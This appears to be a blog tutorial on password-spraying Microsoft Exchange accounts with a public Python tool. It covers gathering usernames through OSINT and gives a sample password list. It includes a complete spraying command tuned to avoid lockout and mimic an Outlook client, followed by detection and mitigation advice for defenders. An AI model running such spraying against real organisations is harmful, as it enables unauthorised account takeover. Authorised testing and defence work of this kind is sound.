Microsoft Exchange Password Spraying

Introduction

Password Spraying is a technique attackers leverage to guess the passwords of accounts by trying a small number of highly common passwords against a large number of accounts while also staying below an organization’s defined lockout threshold. This allows an attacker to compromise accounts without any elevated privileges and masking themselves from detection by blending in with “normal” authentication activity.

This article demonstrates the password spraying attack against Microsoft Exchange accounts.

Image Credits: securityonline.info

MS Exchange Password Spraying

The tool I will use is available at the GitHub repository URL:

https://github.com/ioMoath/PyExchangePasswordSpray

Before starting the attack, we need first a list of possible usernames and passwords.

Building a list of possible usernames

We can do OSINT to find a list of email addresses. One way is to explorer the company’s LinkedIn profile and build a list based on first and last name, Ex, FirstName.LastName@domain, FirstInitialLastName@domain.

Service accounts also can be taken into considerations, you may build your own list.

bkb, sql_svc, backup, temp, helpdesk, crm, test…etc

Building a list of possible passwords

Building the password list is an important part and needs to be built carefully for a higher chance of success.

  • Using common passwords, complexity.
  • Including company name in the password

P@ssw0rd
COMPANY@2021
COMPANY@2021$
COMPANY@2021#
COMPANY@2021@
COMPANY@2021!
COMPANY@2020
COMPANY@2020$
COMPANY@2020#
COMPANY@2020@
COMPANY@2020!

Executing the attack

  1. Download or clone the PyExchangePasswordSpray tool
  2. git clone https://github.com/iomoath/PyExchangePasswordSpray
  3. Install tool dependent libraries: pip3 install -r requirements.txt
  4. Put your username & password lists into text files.
MS Exchange Password Spraying tool

Example Exchange AUTH URLs:

https://webmail.example.org/mapi/
https://webmail.example.org/EWS/Exchange.asmx
https://mail.example.org/autodiscover/autodiscover.xml
$ python3 exchange_password_spray.py -U userlist.txt -P password.txt --url https://webmail.example.org/EWS/Exchange.asmx --delay 62 -T 1 -ua "Microsoft Office/16.0 (Windows NT 10.0; MAPI 16.0.9001; Pro)" -O result.txt -v
Password Spraying against webmail.example.org

The command above uses one thread and 62 minutes of delay between each password spraying attempt.

Few things to take into considerations:

  • It’s important to obtain explicit permissions from the company before executing the attack.
  • Obtain password lockout policy if the assessment conditions apply, ex: white-box or grey-box assessment.
  • The delay between each password spray attempt should be configured wisely. It’s recommended to use a high delay to avoid account lockouts.
  • Use ONE thread unless you know what you’re doing; therefore, accounts may be locked out.

Detection

To increase the likelihood of detecting password spray attacks, Implement use-cases into company Security Information and Event Management (SIEM) or similar solutions for the following circumstances:

  • Large number of failure authentication attempts using accounts does not exists.
  • Large number of failure authentication attempts from a single IP address.
  • High number of account lockout over a defined period of time.

Mitigations

  • Enforce complex passwords as well as a strong password reset policy.
  • Implement multi-factor authentication (MFA) on all external access systems including VPN accounts.
  • Limiting access to external services from specific countries can reduce password attacks.

Leave a Reply

Your email address will not be published. Required fields are marked *